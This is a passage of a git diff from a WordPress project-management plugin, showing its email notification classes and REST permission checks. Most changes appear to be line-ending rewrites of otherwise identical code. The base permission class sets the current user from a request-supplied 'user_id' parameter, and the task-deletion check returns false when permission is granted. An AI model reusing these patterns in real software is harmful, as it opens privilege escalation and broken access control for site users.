$project_users[$u]->email; + } + } + } + + // if ( $this->notify_manager() ){ + // foreach ( $project->managers->toArray() as $u ) { + // if(!in_array($u['user_email'], $users)){ + // $users[] = $u['user_email']; + // } + // } + // } + + if( !$users ){ + return ; + } + + $template_name = apply_filters( 'pm_new_message_email_template_path', $this->get_template_path( '/html/new-message.php' ) ); + $subject = sprintf( __( '[%s][%s] New Message: %s', 'wedevs-project-manager' ), $this->get_blogname(), $project['title'] , $request['title'] ); + + $message = $this->get_content_html( $template_name, $message ); + + $this->send( $users, $subject, $message ); + } + +} diff --git a/core/Notifications/Emails/New_Project_Notification.php b/core/Notifications/Emails/New_Project_Notification.php index 7a5512e91..3811671a0 100644 --- a/core/Notifications/Emails/New_Project_Notification.php +++ b/core/Notifications/Emails/New_Project_Notification.php @@ -1,67 +1,67 @@ -get_template_path( '/html/new-project.php' ) ); - $subject = sprintf( __( '[%s] New Project Created: %s', 'wedevs-project-manager' ), $this->get_blogname(), $project['title'] ); - $assignees = $project['assignees']['data']; - $users = array(); - - foreach ( $assignees as $assignee ) { - if( ! $this->is_enable_user_notification( $assignee['id'] ) ) { - // if ( !$this->notify_manager() && $assignee['roles']['data'][0]['slug'] == 'manager' ) { - // if( $this->is_enable_user_notification_for_notification_type( $assignee['id'] , '_cpm_email_notification_new_project' ) ) { - // continue; - // } - // } - - continue; - - } - - if ( $assignee['id'] == get_current_user_id() ) { - //continue; - } - - if ( ! $this->is_enable_user_notification_for_notification_type( $assignee['id'] , '_cpm_email_notification_new_project' ) ) { - continue; - } - - $users[] = $assignee['email']; - } - - if( !$users ) { - return ; - } - - $message = $this->get_content_html( $template_name, $project ); - - $this->send( $users, $subject, $message ); - - } - -} +get_template_path( '/html/new-project.php' ) ); + $subject = sprintf( __( '[%s] New Project Created: %s', 'wedevs-project-manager' ), $this->get_blogname(), $project['title'] ); + $assignees = $project['assignees']['data']; + $users = array(); + + foreach ( $assignees as $assignee ) { + if( ! $this->is_enable_user_notification( $assignee['id'] ) ) { + // if ( !$this->notify_manager() && $assignee['roles']['data'][0]['slug'] == 'manager' ) { + // if( $this->is_enable_user_notification_for_notification_type( $assignee['id'] , '_cpm_email_notification_new_project' ) ) { + // continue; + // } + // } + + continue; + + } + + if ( $assignee['id'] == get_current_user_id() ) { + //continue; + } + + if ( ! $this->is_enable_user_notification_for_notification_type( $assignee['id'] , '_cpm_email_notification_new_project' ) ) { + continue; + } + + $users[] = $assignee['email']; + } + + if( !$users ) { + return ; + } + + $message = $this->get_content_html( $template_name, $project ); + + $this->send( $users, $subject, $message ); + + } + +} diff --git a/core/Notifications/Emails/New_Task_Notification.php b/core/Notifications/Emails/New_Task_Notification.php index 7d34d6fd1..9e825d73a 100644 --- a/core/Notifications/Emails/New_Task_Notification.php +++ b/core/Notifications/Emails/New_Task_Notification.php @@ -1,55 +1,55 @@ - $task->id ] ); - $task_raw = $task_raw['data']; - - $task->load('assignees.assigned_user', 'projects.managers', 'updater'); - $users = array(); - - foreach ($task->assignees->toArray() as $assignee ) { - if( $this->is_enable_user_notification( $assignee['assigned_to'] ) ){ - if( $this->is_enable_user_notification_for_notification_type( $assignee['assigned_to'], '_cpm_email_notification_new_task' ) ){ - $users[] = $assignee['assigned_user']['user_email']; - } - } - } - - if ( $this->notify_manager() ){ - foreach ( $task->projects->managers->toArray() as $u ) { - if( !in_array($u['user_email'], $users )){ - $users[] = $u['user_email']; - } - } - } - - if ( ! $users ) { - return ; - } - - $template_name = apply_filters( 'pm_new_task_email_template_path', $this->get_template_path( '/html/new-task.php' ) ); - $subject = sprintf( __( '[%s][%s] New Task Assigned: %s', 'wedevs-project-manager' ), $this->get_blogname(), $task_raw['project_title'], $task_raw['title'] ); - - - $message = $this->get_content_html( $template_name, $task_raw ); - - $this->send( $users, $subject, $message ); - - } - -} + $task->id ] ); + $task_raw = $task_raw['data']; + + $task->load('assignees.assigned_user', 'projects.managers', 'updater'); + $users = array(); + + foreach ($task->assignees->toArray() as $assignee ) { + if( $this->is_enable_user_notification( $assignee['assigned_to'] ) ){ + if( $this->is_enable_user_notification_for_notification_type( $assignee['assigned_to'], '_cpm_email_notification_new_task' ) ){ + $users[] = $assignee['assigned_user']['user_email']; + } + } + } + + if ( $this->notify_manager() ){ + foreach ( $task->projects->managers->toArray() as $u ) { + if( !in_array($u['user_email'], $users )){ + $users[] = $u['user_email']; + } + } + } + + if ( ! $users ) { + return ; + } + + $template_name = apply_filters( 'pm_new_task_email_template_path', $this->get_template_path( '/html/new-task.php' ) ); + $subject = sprintf( __( '[%s][%s] New Task Assigned: %s', 'wedevs-project-manager' ), $this->get_blogname(), $task_raw['project_title'], $task_raw['title'] ); + + + $message = $this->get_content_html( $template_name, $task_raw ); + + $this->send( $users, $subject, $message ); + + } + +} diff --git a/core/Notifications/Emails/Update_Comment_Notification.php b/core/Notifications/Emails/Update_Comment_Notification.php index a9acf3b1c..924c473e5 100644 --- a/core/Notifications/Emails/Update_Comment_Notification.php +++ b/core/Notifications/Emails/Update_Comment_Notification.php @@ -1,80 +1,80 @@ -find( $request['project_id'] ); - $comment = Comment::with($request['commentable_type'])->find($commentData['data']['id']); - $users = array(); - $notify_users = explode( ',', $request['notify_users'] ); - - foreach ($notify_users as $u ) { - if( $this->is_enable_user_notification( $u ) ){ - if( $this->is_enable_user_notification_for_notification_type( $u , '_cpm_email_notification_update_comment' ) ){ - $users[] = $project->assignees->where('ID', $u)->first()->user_email; - } - } - } - - if( $this->notify_manager() ){ - foreach ($project->managers->toArray() as $u) { - if(!in_array($u['user_email'], $users)){ - $users[] = $u['user_email']; - } - } - } - - if( !$users ){ - return ; - } - $title = $comment->{ $request['commentable_type'] }->title; - $template_name = apply_filters( 'pm_update_comment_email_template_path', $this->get_template_path( '/html/update-comment.php' ) ); - $subject = sprintf( __( '[%s][%s] Update Comment on: %s', 'wedevs-project-manager' ), $this->get_blogname(), $project->title , $title ); - - if( $request['commentable_type'] == 'discussion_board' ){ - $type = __( 'Message', 'wedevs-project-manager' ); - $comment_link = $this->pm_link() . '#/projects/'.$project->id.'/discussions/'.$request['commentable_id']; - }elseif ( $request['commentable_type'] == 'task_list' ) { - $type = __( 'Task List', 'wedevs-project-manager' ); - $comment_link = $this->pm_link() . '#/projects/'.$project->id.'/task-lists/'.$request['commentable_id']; - }else{ - $type = __( 'Task', 'wedevs-project-manager' ); - $comment_link = $this->pm_link() . '#projects/'.$project->id. '/task-lists/tasks/' . $request['commentable_id']; - } - - - $message = $this->get_content_html( $template_name, [ - 'id' => $commentData['data']['id'], - 'content' => $request['content'], - 'updater' => $commentData['data']['updater']['data']['display_name'], - 'commnetable_title' => $title, - 'commnetable_type' => $type, - 'comment_link' => $comment_link, - 'updated_at' => $commentData['data']['updated_at']['date'], - 'updater' => $commentData['data']['updater'], - ] ); - - $this->send( $users, $subject, $message ); - - } - -} +find( $request['project_id'] ); + $comment = Comment::with($request['commentable_type'])->find($commentData['data']['id']); + $users = array(); + $notify_users = explode( ',', $request['notify_users'] ); + + foreach ($notify_users as $u ) { + if( $this->is_enable_user_notification( $u ) ){ + if( $this->is_enable_user_notification_for_notification_type( $u , '_cpm_email_notification_update_comment' ) ){ + $users[] = $project->assignees->where('ID', $u)->first()->user_email; + } + } + } + + if( $this->notify_manager() ){ + foreach ($project->managers->toArray() as $u) { + if(!in_array($u['user_email'], $users)){ + $users[] = $u['user_email']; + } + } + } + + if( !$users ){ + return ; + } + $title = $comment->{ $request['commentable_type'] }->title; + $template_name = apply_filters( 'pm_update_comment_email_template_path', $this->get_template_path( '/html/update-comment.php' ) ); + $subject = sprintf( __( '[%s][%s] Update Comment on: %s', 'wedevs-project-manager' ), $this->get_blogname(), $project->title , $title ); + + if( $request['commentable_type'] == 'discussion_board' ){ + $type = __( 'Message', 'wedevs-project-manager' ); + $comment_link = $this->pm_link() . '#/projects/'.$project->id.'/discussions/'.$request['commentable_id']; + }elseif ( $request['commentable_type'] == 'task_list' ) { + $type = __( 'Task List', 'wedevs-project-manager' ); + $comment_link = $this->pm_link() . '#/projects/'.$project->id.'/task-lists/'.$request['commentable_id']; + }else{ + $type = __( 'Task', 'wedevs-project-manager' ); + $comment_link = $this->pm_link() . '#projects/'.$project->id. '/task-lists/tasks/' . $request['commentable_id']; + } + + + $message = $this->get_content_html( $template_name, [ + 'id' => $commentData['data']['id'], + 'content' => $request['content'], + 'updater' => $commentData['data']['updater']['data']['display_name'], + 'commnetable_title' => $title, + 'commnetable_type' => $type, + 'comment_link' => $comment_link, + 'updated_at' => $commentData['data']['updated_at']['date'], + 'updater' => $commentData['data']['updater'], + ] ); + + $this->send( $users, $subject, $message ); + + } + +} diff --git a/core/Notifications/Emails/Update_Message_Notification.php b/core/Notifications/Emails/Update_Message_Notification.php index 0f092f5b3..55d6fd8c0 100644 --- a/core/Notifications/Emails/Update_Message_Notification.php +++ b/core/Notifications/Emails/Update_Message_Notification.php @@ -1,66 +1,66 @@ - $message['data']['id'] ] ); - $message = $message['data']; - $project_id = $message['project_id']; - $project = pm_get_projects( ['id' => $project_id, 'with' => 'assignees'] ); - $project = $project['data']; //Project::with('assignees', 'managers')->find( $request['project_id'] ); - $message['project'] = $project; - $users = []; - $notify_users = explode( ',', $request['notify_users'] ); - $project_users = []; - - foreach ( $project['assignees']['data'] as $key => $project_user ) { - $project_users[$project_user->id] = $project_user; - } - - foreach ($notify_users as $u ) { - if( $this->is_enable_user_notification( $u ) ){ - if( $this->is_enable_user_notification_for_notification_type( $u, '_cpm_email_notification_new_message' ) ){ - $users[] = $project_users[$u]->email; - } - } - } - - // if ( $this->notify_manager() ){ - // foreach ( $project->managers->toArray() as $u ) { - // if(!in_array($u['user_email'], $users)){ - // $users[] = $u['user_email']; - // } - // } - // } - - if( !$users ){ - return ; - } - - $template_name = apply_filters( 'pm_new_message_email_template_path', $this->get_template_path( '/html/update-message.php' ) ); - $subject = sprintf( __( '[%s][%s] Update Message: %s', 'wedevs-project-manager' ), $this->get_blogname(), $project['title'] , $request['title'] ); - - $message = $this->get_content_html( $template_name, $message ); - - $this->send( $users, $subject, $message ); - - } - -} + $message['data']['id'] ] ); + $message = $message['data']; + $project_id = $message['project_id']; + $project = pm_get_projects( ['id' => $project_id, 'with' => 'assignees'] ); + $project = $project['data']; //Project::with('assignees', 'managers')->find( $request['project_id'] ); + $message['project'] = $project; + $users = []; + $notify_users = explode( ',', $request['notify_users'] ); + $project_users = []; + + foreach ( $project['assignees']['data'] as $key => $project_user ) { + $project_users[$project_user->id] = $project_user; + } + + foreach ($notify_users as $u ) { + if( $this->is_enable_user_notification( $u ) ){ + if( $this->is_enable_user_notification_for_notification_type( $u, '_cpm_email_notification_new_message' ) ){ + $users[] = $project_users[$u]->email; + } + } + } + + // if ( $this->notify_manager() ){ + // foreach ( $project->managers->toArray() as $u ) { + // if(!in_array($u['user_email'], $users)){ + // $users[] = $u['user_email']; + // } + // } + // } + + if( !$users ){ + return ; + } + + $template_name = apply_filters( 'pm_new_message_email_template_path', $this->get_template_path( '/html/update-message.php' ) ); + $subject = sprintf( __( '[%s][%s] Update Message: %s', 'wedevs-project-manager' ), $this->get_blogname(), $project['title'] , $request['title'] ); + + $message = $this->get_content_html( $template_name, $message ); + + $this->send( $users, $subject, $message ); + + } + +} diff --git a/core/Notifications/Emails/Update_Project_Notification.php b/core/Notifications/Emails/Update_Project_Notification.php index d29497b9d..35c8b4a6b 100644 --- a/core/Notifications/Emails/Update_Project_Notification.php +++ b/core/Notifications/Emails/Update_Project_Notification.php @@ -1,67 +1,67 @@ -get_template_path( '/html/update-project.php' ) ); - $subject = sprintf( __( '[%s] Updated Project: %s', 'wedevs-project-manager' ), $this->get_blogname(), $project['title'] ); - $assignees = $project['assignees']['data']; - $users = array(); - - - foreach ($assignees as $assignee ) { - // if( $this->is_enable_user_notification( $assignee['id'] ) ) { - // if ( !$this->notify_manager() && $assignee['roles']['data'][0]['slug'] == 'manager' ) { - // if( $this->is_enable_user_notification_for_notification_type( $assignee['id'] , '_cpm_email_notification_update_project' ) ){ - // continue; - // } - // } - - // $users[] = $assignee['email']; - // } - - if ( ! $this->is_enable_user_notification( $assignee['id'] ) ) { - continue; - } - - if ( $assignee['id'] == get_current_user_id() ) { - //continue; - } - - if ( ! $this->is_enable_user_notification_for_notification_type( $assignee['id'] , '_cpm_email_notification_new_project' ) ) { - continue; - } - - $users[] = $assignee['email']; - } - - if ( ! $users ) { - return ; - } - - $message = $this->get_content_html( $template_name, $project ); - - $this->send( $users, $subject, $message ); - - } - -} +get_template_path( '/html/update-project.php' ) ); + $subject = sprintf( __( '[%s] Updated Project: %s', 'wedevs-project-manager' ), $this->get_blogname(), $project['title'] ); + $assignees = $project['assignees']['data']; + $users = array(); + + + foreach ($assignees as $assignee ) { + // if( $this->is_enable_user_notification( $assignee['id'] ) ) { + // if ( !$this->notify_manager() && $assignee['roles']['data'][0]['slug'] == 'manager' ) { + // if( $this->is_enable_user_notification_for_notification_type( $assignee['id'] , '_cpm_email_notification_update_project' ) ){ + // continue; + // } + // } + + // $users[] = $assignee['email']; + // } + + if ( ! $this->is_enable_user_notification( $assignee['id'] ) ) { + continue; + } + + if ( $assignee['id'] == get_current_user_id() ) { + //continue; + } + + if ( ! $this->is_enable_user_notification_for_notification_type( $assignee['id'] , '_cpm_email_notification_new_project' ) ) { + continue; + } + + $users[] = $assignee['email']; + } + + if ( ! $users ) { + return ; + } + + $message = $this->get_content_html( $template_name, $project ); + + $this->send( $users, $subject, $message ); + + } + +} diff --git a/core/Notifications/Emails/Update_Task_Notification.php b/core/Notifications/Emails/Update_Task_Notification.php index 854af10b4..10b41ded6 100644 --- a/core/Notifications/Emails/Update_Task_Notification.php +++ b/core/Notifications/Emails/Update_Task_Notification.php @@ -1,54 +1,54 @@ - $task->id ] ); - $task_raw = $task_raw['data']; - - $task->load('assignees.assigned_user', 'projects.managers', 'updater'); - $users = array(); - - foreach ($task->assignees->toArray() as $assignee ) { - if( $this->is_enable_user_notification( $assignee['assigned_to'] ) ){ - if( $this->is_enable_user_notification_for_notification_type( $assignee['assigned_to'] , '_cpm_email_notification_update_task' ) ){ - $users[] = $assignee['assigned_user']['user_email']; - } - } - } - - if( $this->notify_manager() ){ - foreach ( $task->projects->managers->toArray() as $u ) { - if( !in_array($u['user_email'], $users )){ - $users[] = $u['user_email']; - } - } - } - - if( !$users ){ - return ; - } - - $template_name = apply_filters( 'pm_new_task_email_template_path', $this->get_template_path( '/html/update-task.php' ) ); - $subject = sprintf( __( '[%s][%s] Update Task Assigned: %s', 'wedevs-project-manager' ), $this->get_blogname(), $task_raw['project_title'], $task_raw['title'] ); - - $message = $this->get_content_html( $template_name, $task_raw ); - - $this->send( $users, $subject, $message ); - - } - -} + $task->id ] ); + $task_raw = $task_raw['data']; + + $task->load('assignees.assigned_user', 'projects.managers', 'updater'); + $users = array(); + + foreach ($task->assignees->toArray() as $assignee ) { + if( $this->is_enable_user_notification( $assignee['assigned_to'] ) ){ + if( $this->is_enable_user_notification_for_notification_type( $assignee['assigned_to'] , '_cpm_email_notification_update_task' ) ){ + $users[] = $assignee['assigned_user']['user_email']; + } + } + } + + if( $this->notify_manager() ){ + foreach ( $task->projects->managers->toArray() as $u ) { + if( !in_array($u['user_email'], $users )){ + $users[] = $u['user_email']; + } + } + } + + if( !$users ){ + return ; + } + + $template_name = apply_filters( 'pm_new_task_email_template_path', $this->get_template_path( '/html/update-task.php' ) ); + $subject = sprintf( __( '[%s][%s] Update Task Assigned: %s', 'wedevs-project-manager' ), $this->get_blogname(), $task_raw['project_title'], $task_raw['title'] ); + + $message = $this->get_content_html( $template_name, $task_raw ); + + $this->send( $users, $subject, $message ); + + } + +} diff --git a/core/Notifications/Notification.php b/core/Notifications/Notification.php index a473d4d49..b53bf6fd6 100644 --- a/core/Notifications/Notification.php +++ b/core/Notifications/Notification.php @@ -1,146 +1,146 @@ -push_to_queue( array( - // 'filter' => current_filter(), - // 'args' => func_get_args(), - // ) ); - // } else { - call_user_func_array( array( __CLASS__, 'send_transactional_email' ), func_get_args() ); - //} - } - - /** - * Init the mailer instance and call the notifications for the current filter. - * - * @internal - * - * @param string $filter Filter name. - * @param array $args Email args (default: []). - */ - public static function send_queued_transactional_email( $filter = '', $args = array() ) { - if ( apply_filters( 'pm_allow_send_queued_transactional_email', true, $filter, $args ) ) { - self::instance(); // Init self so emails exist. - - do_action_ref_array( $filter . '_notification', $args ); - } - } - - - /** - * Init the mailer instance and call the notifications for the current filter. - * - * @internal - * - * @param array $args Email args (default: []). - */ - public static function send_transactional_email( $args = array() ) { - try { - $args = func_get_args(); - self::instance(); // Init self so emails exist. - do_action_ref_array( current_filter() . '_notification', $args ); - } catch ( Exception $e ) { - if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) { - trigger_error( esc_attr__( 'Transactional email triggered fatal error for callback ' . current_filter(), 'wedevs-project-manager' ), E_USER_WARNING ); - } - } - } - - /** - * Main Notification Instance. - * - * Ensures only one instance of Notification is loaded or can be loaded. - * - * @since 2.0.0 - * @static - * @return Notification Main instance - */ - public static function instance() { - if ( is_null( self::$_instance ) ) { - self::$_instance = new self(); - } - return self::$_instance; - } - - - function __construct() { - new New_Project_Notification(); - new Update_Project_Notification(); - new New_Message_Notification(); - new Update_Message_Notification(); - new New_Comment_Notification(); - new Update_Comment_Notification(); - new New_Task_Notification(); - new Update_Task_Notification(); - new Complete_Task_Notification(); - } - - } +push_to_queue( array( + // 'filter' => current_filter(), + // 'args' => func_get_args(), + // ) ); + // } else { + call_user_func_array( array( __CLASS__, 'send_transactional_email' ), func_get_args() ); + //} + } + + /** + * Init the mailer instance and call the notifications for the current filter. + * + * @internal + * + * @param string $filter Filter name. + * @param array $args Email args (default: []). + */ + public static function send_queued_transactional_email( $filter = '', $args = array() ) { + if ( apply_filters( 'pm_allow_send_queued_transactional_email', true, $filter, $args ) ) { + self::instance(); // Init self so emails exist. + + do_action_ref_array( $filter . '_notification', $args ); + } + } + + + /** + * Init the mailer instance and call the notifications for the current filter. + * + * @internal + * + * @param array $args Email args (default: []). + */ + public static function send_transactional_email( $args = array() ) { + try { + $args = func_get_args(); + self::instance(); // Init self so emails exist. + do_action_ref_array( current_filter() . '_notification', $args ); + } catch ( Exception $e ) { + if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) { + trigger_error( esc_attr__( 'Transactional email triggered fatal error for callback ' . current_filter(), 'wedevs-project-manager' ), E_USER_WARNING ); + } + } + } + + /** + * Main Notification Instance. + * + * Ensures only one instance of Notification is loaded or can be loaded. + * + * @since 2.0.0 + * @static + * @return Notification Main instance + */ + public static function instance() { + if ( is_null( self::$_instance ) ) { + self::$_instance = new self(); + } + return self::$_instance; + } + + + function __construct() { + new New_Project_Notification(); + new Update_Project_Notification(); + new New_Message_Notification(); + new Update_Message_Notification(); + new New_Comment_Notification(); + new Update_Comment_Notification(); + new New_Task_Notification(); + new Update_Task_Notification(); + new Complete_Task_Notification(); + } + + } diff --git a/core/Permissions/Abstract_Permission.php b/core/Permissions/Abstract_Permission.php index 181dd6fc1..ddb70df2c 100644 --- a/core/Permissions/Abstract_Permission.php +++ b/core/Permissions/Abstract_Permission.php @@ -1,41 +1,41 @@ -request = $request; - - $user_id = $request->get_param( 'user_id' ); - $user_id = empty( $user_id ) ? 0 : intval( $user_id ); - - if ( empty( $user_id ) && ! empty( get_current_user_id() ) ) { - $user_id = get_current_user_id(); - } - - wp_set_current_user( $user_id ); - } - - /** - * Check for a specific permission. - * - * @return boolean (true if operation is permitted; otherwise false). - */ - abstract public function check(); -} +request = $request; + + $user_id = $request->get_param( 'user_id' ); + $user_id = empty( $user_id ) ? 0 : intval( $user_id ); + + if ( empty( $user_id ) && ! empty( get_current_user_id() ) ) { + $user_id = get_current_user_id(); + } + + wp_set_current_user( $user_id ); + } + + /** + * Check for a specific permission. + * + * @return boolean (true if operation is permitted; otherwise false). + */ + abstract public function check(); +} diff --git a/core/Permissions/Access_Project.php b/core/Permissions/Access_Project.php index 99b577b34..c20c9ca1d 100644 --- a/core/Permissions/Access_Project.php +++ b/core/Permissions/Access_Project.php @@ -1,30 +1,30 @@ -request->get_param( 'project_id' ); - - if ( empty($project_id) ) { - $project_id = $this->request->get_param( 'id' ); - } - - // $user_id = $this->request->get_param( 'user_id' ); - // $user_id = empty( $user_id ) ? 0 : intval( $user_id ); - - if ( pm_user_can( 'view_project', $project_id ) ) { - return true; - } - - return new \WP_Error( 'project', __( "You have no permission.", "wedevs-project-manager" ) ); - } -} +request->get_param( 'project_id' ); + + if ( empty($project_id) ) { + $project_id = $this->request->get_param( 'id' ); + } + + // $user_id = $this->request->get_param( 'user_id' ); + // $user_id = empty( $user_id ) ? 0 : intval( $user_id ); + + if ( pm_user_can( 'view_project', $project_id ) ) { + return true; + } + + return new \WP_Error( 'project', __( "You have no permission.", "wedevs-project-manager" ) ); + } +} diff --git a/core/Permissions/Admin.php b/core/Permissions/Admin.php index 60eea9cc5..d6bdc3954 100644 --- a/core/Permissions/Admin.php +++ b/core/Permissions/Admin.php @@ -1,17 +1,17 @@ -request->get_param( 'task_id' ); - $project_id = $this->request->get_param( 'project_id' ); - $user_id = get_current_user_id(); - - if ( $user_id ) { - - if ( $project_id && pm_has_project_managing_capability( $project_id, $user_id ) ) { - return true; - } - - $task = Task::with('assignees') - ->where('id', $id) - ->first(); - - if ( isset( $task->created_by ) && $task->created_by == $user_id ){ - return true; - } - - if ( pm_user_can_complete_task( $task, $user_id ) ) { - return true; - } - - } - - return new \WP_Error( 'Task', __( "You have no permission to change task status.", "wedevs-project-manager" ) ); - } +request->get_param( 'task_id' ); + $project_id = $this->request->get_param( 'project_id' ); + $user_id = get_current_user_id(); + + if ( $user_id ) { + + if ( $project_id && pm_has_project_managing_capability( $project_id, $user_id ) ) { + return true; + } + + $task = Task::with('assignees') + ->where('id', $id) + ->first(); + + if ( isset( $task->created_by ) && $task->created_by == $user_id ){ + return true; + } + + if ( pm_user_can_complete_task( $task, $user_id ) ) { + return true; + } + + } + + return new \WP_Error( 'Task', __( "You have no permission to change task status.", "wedevs-project-manager" ) ); + } } \ No newline at end of file diff --git a/core/Permissions/Create_Discuss.php b/core/Permissions/Create_Discuss.php index aecc1434e..2b9595623 100644 --- a/core/Permissions/Create_Discuss.php +++ b/core/Permissions/Create_Discuss.php @@ -1,21 +1,21 @@ -request->get_param( 'project_id' ); - - $pm_discussion_create_permission = apply_filters( 'pm_check_permission', true, $project_id, 'create_message' ); - - if ( $pm_discussion_create_permission ) { - return true; - } - - return new \WP_Error( 'project', __( "You have no permission.", "wedevs-project-manager" ) ); - } -} +request->get_param( 'project_id' ); + + $pm_discussion_create_permission = apply_filters( 'pm_check_permission', true, $project_id, 'create_message' ); + + if ( $pm_discussion_create_permission ) { + return true; + } + + return new \WP_Error( 'project', __( "You have no permission.", "wedevs-project-manager" ) ); + } +} diff --git a/core/Permissions/Create_File.php b/core/Permissions/Create_File.php index d4fc2c788..7ba9bf1b1 100644 --- a/core/Permissions/Create_File.php +++ b/core/Permissions/Create_File.php @@ -1,20 +1,20 @@ -request->get_param( 'project_id' ); - - $pm_file_create_permission = apply_filters( 'pm_check_permission', true, $project_id, 'create_file' ); - - if ( $pm_file_create_permission ) { - return true; - } - - return new \WP_Error( 'project', __( "You have no permission to create message.", "wedevs-project-manager" ) ); - } -} +request->get_param( 'project_id' ); + + $pm_file_create_permission = apply_filters( 'pm_check_permission', true, $project_id, 'create_file' ); + + if ( $pm_file_create_permission ) { + return true; + } + + return new \WP_Error( 'project', __( "You have no permission to create message.", "wedevs-project-manager" ) ); + } +} diff --git a/core/Permissions/Create_Milestone.php b/core/Permissions/Create_Milestone.php index 494aa1f05..84d5a1d41 100644 --- a/core/Permissions/Create_Milestone.php +++ b/core/Permissions/Create_Milestone.php @@ -1,20 +1,20 @@ -request->get_param( 'project_id' ); - - $pm_milestone_create_permission = apply_filters( 'pm_check_permission', true, $project_id, 'create_milestone' ); - - if ( $pm_milestone_create_permission ) { - return true; - } - - return new \WP_Error( 'project', __( "You have no permission.", "wedevs-project-manager" ) ); - } -} +request->get_param( 'project_id' ); + + $pm_milestone_create_permission = apply_filters( 'pm_check_permission', true, $project_id, 'create_milestone' ); + + if ( $pm_milestone_create_permission ) { + return true; + } + + return new \WP_Error( 'project', __( "You have no permission.", "wedevs-project-manager" ) ); + } +} diff --git a/core/Permissions/Create_Task.php b/core/Permissions/Create_Task.php index 3d260f59a..e051c049e 100644 --- a/core/Permissions/Create_Task.php +++ b/core/Permissions/Create_Task.php @@ -1,20 +1,20 @@ -request->get_param( 'project_id' ); - - $pm_task_create_permission = apply_filters( 'pm_check_permission', true, $project_id, 'create_task' ); - - if ( $pm_task_create_permission ) { - return true; - } - - return new \WP_Error( 'project', __( "You have no permission.", "wedevs-project-manager" ) ); - } -} +request->get_param( 'project_id' ); + + $pm_task_create_permission = apply_filters( 'pm_check_permission', true, $project_id, 'create_task' ); + + if ( $pm_task_create_permission ) { + return true; + } + + return new \WP_Error( 'project', __( "You have no permission.", "wedevs-project-manager" ) ); + } +} diff --git a/core/Permissions/Create_Task_List.php b/core/Permissions/Create_Task_List.php index 2d5b3591b..1c834c955 100644 --- a/core/Permissions/Create_Task_List.php +++ b/core/Permissions/Create_Task_List.php @@ -1,21 +1,21 @@ -request->get_param( 'project_id' ); - - $pm_task_list_create_permission = apply_filters( 'pm_check_permission', true, $project_id, 'create_list' ); - - if ( $pm_task_list_create_permission ) { - return true; - } - - return new \WP_Error( 'project', __( "You have no permission.", "wedevs-project-manager" ) ); - } -} +request->get_param( 'project_id' ); + + $pm_task_list_create_permission = apply_filters( 'pm_check_permission', true, $project_id, 'create_list' ); + + if ( $pm_task_list_create_permission ) { + return true; + } + + return new \WP_Error( 'project', __( "You have no permission.", "wedevs-project-manager" ) ); + } +} diff --git a/core/Permissions/Delete_Task.php b/core/Permissions/Delete_Task.php index eb391f8f2..9427075de 100644 --- a/core/Permissions/Delete_Task.php +++ b/core/Permissions/Delete_Task.php @@ -1,29 +1,29 @@ -request->get_param( 'project_id' ); - $task_id = $this->request->get_param( 'task_id' ); - $task = Task::where( 'id', $task_id )->where( 'project_id', $project_id )->first(); - - if ( isset( $task->created_by ) && $task->created_by == $user_id ) { - return true; - } - - $pm_task_delete_permission = apply_filters( 'pm_check_permission', true, $project_id, 'create_task' ); - - if ( $pm_task_delete_permission ) { - return false; - } - - return new \WP_Error( 'project', __( "You have no permission.", "wedevs-project-manager" ) ); - } -} +request->get_param( 'project_id' ); + $task_id = $this->request->get_param( 'task_id' ); + $task = Task::where( 'id', $task_id )->where( 'project_id', $project_id )->first(); + + if ( isset( $task->created_by ) && $task->created_by == $user_id ) { + return true; + } + + $pm_task_delete_permission = apply_filters( 'pm_check_permission', true, $project_id, 'create_task' ); + + if ( $pm_task_delete_permission ) { + return false; + } + + return new \WP_Error( 'project', __( "You have no permission.", "wedevs-project-manager" ) ); + } +} diff --git a/core/Permissions/Edit_Comment.php b/core/Permissions/Edit_Comment.php index 96e2a643a..13abd4a31 100644 --- a/core/Permissions/Edit_Comment.php +++ b/core/Permissions/Edit_Comment.php @@ -1,33 +1,33 @@ -request->get_param( 'comment_id' ); - $project_id = $this->request->get_param( 'project_id' ); - $user_id = get_current_user_id(); - - if ( $user_id ) { - - if ( $project_id && pm_has_project_managing_capability( $project_id, $user_id ) ) { - return true; - } - - $comment = Comment::find( $id ); - - if ( !empty( $comment->created_by ) ) { - if ( $comment->created_by == $user_id ){ - return true; - } - } - } - - return new \WP_Error( 'Comment', __( "You have no permission.", "wedevs-project-manager" ) ); - } -} +request->get_param( 'comment_id' ); + $project_id = $this->request->get_param( 'project_id' ); + $user_id = get_current_user_id(); + + if ( $user_id ) { + + if ( $project_id && pm_has_project_managing_capability( $project_id, $user_id ) ) { + return true; + } + + $comment = Comment::find( $id ); + + if ( !empty( $comment->created_by ) ) { + if ( $comment->created_by == $user_id ){ + return true; + } + } + } + + return new \WP_Error( 'Comment', __( "You have no permission.", "wedevs-project-manager" ) ); + } +} diff --git a/core/Permissions/Edit_Discuss.php b/core/Permissions/Edit_Discuss.php index f80032c00..bd73d3342 100644 --- a/core/Permissions/Edit_Discuss.php +++ b/core/Permissions/Edit_Discuss.php @@ -1,32 +1,32 @@ -request->get_param( 'discussion_board_id' ); - $project_id = $this->request->get_param( 'project_id' ); - $user_id = get_current_user_id(); - - if ( $user_id ) { - - if ( $project_id && pm_has_project_managing_capability( $project_id, $user_id ) ) { - return true; - } - - $discuss = Discussion_Board::find( $id ); - - if ( $discuss && $discuss->created_by == $user_id ){ - return true; - } - - } - - return new \WP_Error( 'Discuss', __( "You have no permission.", "wedevs-project-manager" ) ); - } +request->get_param( 'discussion_board_id' ); + $project_id = $this->request->get_param( 'project_id' ); + $user_id = get_current_user_id(); + + if ( $user_id ) { + + if ( $project_id && pm_has_project_managing_capability( $project_id, $user_id ) ) { + return true; + } + + $discuss = Discussion_Board::find( $id ); + + if ( $discuss && $discuss->created_by == $user_id ){ + return true; + } + + } + + return new \WP_Error( 'Discuss', __( "You have no permission.", "wedevs-project-manager" ) ); + } } \ No newline at end of file diff --git a/core/Permissions/Edit_File.php b/core/Permissions/Edit_File.php index d8717f0f7..571d7ddbb 100644 --- a/core/Permissions/Edit_File.php +++ b/core/Permissions/Edit_File.php @@ -1,31 +1,31 @@ -request->get_param( 'file_id' ); - $project_id = $this->request->get_param( 'project_id' ); - $user_id = get_current_user_id(); - - if ( $user_id ) { - - if ( $project_id && pm_has_project_managing_capability( $project_id, $user_id ) ) { - return true; - } - - $file = File::find( $id ); - if ( $file && $file->created_by == $user_id ){ - return true; - } - - } - - return new \WP_Error( 'File', __( "You have no permission.", "wedevs-project-manager" 